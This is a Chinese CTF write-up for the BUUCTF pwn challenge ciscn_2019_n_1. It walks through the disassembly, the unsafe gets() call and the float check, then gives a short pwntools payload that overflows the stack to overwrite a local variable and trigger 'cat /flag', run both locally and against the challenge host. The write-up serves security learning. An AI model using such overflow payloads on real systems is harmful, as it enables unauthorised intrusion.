详细讲解BUUCTF-ciscn_2019_n_1
BUUCTF-ciscn_2019_n_1
一、题目来源
BUUCTF-pwn-ciscn_2019_n_1
二、信息搜集
下载题目给的二进制文件,丢到Linux虚拟机中
使用file命令查看文件相关信息:
使用checksec命令查看文件采用了什么保护措施:
三、反编译文件开始分析
通过Ida64位反编译题目给的二进制文件
来到main函数:
.text:00000000004006DC ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004006DC public main
.text:00000000004006DC main proc near ; DATA XREF: _start+1D↑o
.text:00000000004006DC ; __unwind {
.text:00000000004006DC push rbp
.text:00000000004006DD mov rbp, rsp
.text:00000000004006E0 mov rax, cs:__bss_start
.text:00000000004006E7 mov ecx, 0 ; n
.text:00000000004006EC mov edx, 2 ; modes
.text:00000000004006F1 mov esi, 0 ; buf
.text:00000000004006F6 mov rdi, rax ; stream
.text:00000000004006F9 call _setvbuf
.text:00000000004006FE mov rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000400705 mov ecx, 0 ; n
.text:000000000040070A mov edx, 2 ; modes
.text:000000000040070F mov esi, 0 ; buf
.text:0000000000400714 mov rdi, rax ; stream
.text:0000000000400717 call _setvbuf
.text:000000000040071C mov eax, 0
.text:0000000000400721 call func
.text:0000000000400726 mov eax, 0
.text:000000000040072B pop rbp
.text:000000000040072C retn
.text:000000000040072C ; } // starts at 4006DC
.text:000000000040072C main endp
main函数中似乎没有什么亮眼的地方,可以看到main函数还调用了func函数
跟进查看func函数干了什么:
.text:0000000000400676 public func
.text:0000000000400676 func proc near ; CODE XREF: main+45↓p
.text:0000000000400676
.text:0000000000400676 var_30 = byte ptr -30h
.text:0000000000400676 var_4 = dword ptr -4
.text:0000000000400676
.text:0000000000400676 ; __unwind {
.text:0000000000400676 push rbp
.text:0000000000400677 mov rbp, rsp
.text:000000000040067A sub rsp, 30h
.text:000000000040067E pxor xmm0, xmm0
.text:0000000000400682 movss [rbp+var_4], xmm0
.text:0000000000400687 mov edi, offset s ; "Let's guess the number."
.text:000000000040068C call _puts
.text:0000000000400691 lea rax, [rbp+var_30]
.text:0000000000400695 mov rdi, rax
.text:0000000000400698 mov eax, 0
.text:000000000040069D call _gets
.text:00000000004006A2 movss xmm0, [rbp+var_4]
.text:00000000004006A7 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006AE jp short loc_4006CF
.text:00000000004006B0 movss xmm0, [rbp+var_4]
.text:00000000004006B5 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006BC jnz short loc_4006CF
.text:00000000004006BE mov edi, offset command ; "cat /flag"
.text:00000000004006C3 mov eax, 0
.text:00000000004006C8 call _system
.text:00000000004006CD jmp short loc_4006D9
.text:00000000004006CF ; ---------------------------------------------------------------------------
.text:00000000004006CF
.text:00000000004006CF loc_4006CF: ; CODE XREF: func+38↑j
.text:00000000004006CF ; func+46↑j
.text:00000000004006CF mov edi, offset aItsValueShould ; "Its value should be 11.28125"
.text:00000000004006D4 call _puts
.text:00000000004006D9
.text:00000000004006D9 loc_4006D9: ; CODE XREF: func+57↑j
.text:00000000004006D9 nop
.text:00000000004006DA leave
.text:00000000004006DB retn
.text:00000000004006DB ; } // starts at 400676
.text:00000000004006DB func endp
很明显,两个关键信息
-
gets
-
system
我们的最终目标就是system函数,system中的参数是offset command
查看后发现:
.rodata:00000000004007CC command db 'cat /flag',0 ; DATA XREF: func+48↑o
是在.rodata段(只读数据段)的数据,值为cat /flag
也就是说,我们只要能执行到system就可以触发系统命令cat /flag
但是在system函数之前有很多的条件跳转指令
分析一下,首先是第一个:
.text:00000000004006A7 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006AE jp short loc_4006CF
ucomiss a, b
用于浮点数的比较
xmm0
来自局部变量[rbp+var_4],依据就是:
.text:00000000004006A2 movss xmm0, [rbp+var_4]
jp
是一个特殊的条件跳转指令,它的跳转前提是标志寄存器中的PF等于1
在浮点数的比较当中,PF等于1表示本次比较为“无序比较”
在浮点数的比较中,如果参与比较的任意一个值是NaN(Not a Number,数学上无意义或非法的浮点运算结果)时,那么这次比较就没有明确的大小或相等关系,就被称为“无序比较”
本次比较的两个数分别为:
-
xmm0
-
cs:dword_4007F4
cs,即code segment程序段,表示从程序段中取数据
dword_4007F4表示从地址0x4007F4读取一个dword(4字节) 的值
那么可以跟进查看该地址,就可以看到:
.rodata:00000000004007F4 dword_4007F4 dd 41348000h ; DATA XREF: func+31↑r
所以说,取出的4字节的数据就是0x41348000
有了上面的分析,我们就可以知道,只需要让[rbp+var_4]中的浮点数不是一个非法的浮点数,就可以不跳转
那么如何设置[rbp+var_4]中的值呢,我们前面提到的gets就派上用场了,通过栈溢出的思路去覆盖[rbp+var_4]中的值即可
可行性就在于:
.text:0000000000400691 lea rax, [rbp+var_30]
.text:0000000000400695 mov rdi, rax
.text:0000000000400698 mov eax, 0
.text:000000000040069D call _gets
-
用户输入部分是在[rbp+var_30]可以覆盖到[rbp+var_4]
-
之前查看的保护措施,发现没有Canary的存在
继续分析
既然实现了不跳转,那么我们就来到了下一个分支,这也是通往system的关键一步
这里又是一个条件跳转语句:
.text:00000000004006B0 movss xmm0, [rbp+var_4]
.text:00000000004006B5 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006BC jnz short loc_4006CF
比较的内容没有发生变化,只是条件跳转指令变成了jnz,即jump when not zere,这个指令就相当于jne,即jump when not equal,也就是说只要两个数不相等就会发生跳转
但是我们如果要到达system,就要让其不发生跳转,也就是要让前面比较的两个值相等
思路很清晰了:
利用gets函数实现栈溢出,使其能覆盖到[rbp+var_4]中的内容,并把里面的内容覆盖成0x41348000
四、画栈结构图
0x30对应的十进制为48,单位为字节,即48B
五、构造Poc
现在本地进行尝试(记得先给二进制文件可执行权限)
from pwn import *
p = process('./ciscn_2019_n_1')
payload = b'A'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
44B的由来:
运行:
其实已经执行了系统命令“cat /flag”只是我本地没有flag文件,所以有了这个错误
直接构造远程Poc(下面的域名和端口填你们开启的靶机):
from pwn import *
p = remote("node5.buuoj.cn",29886)
payload = b'A'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
运行:
成功获得flag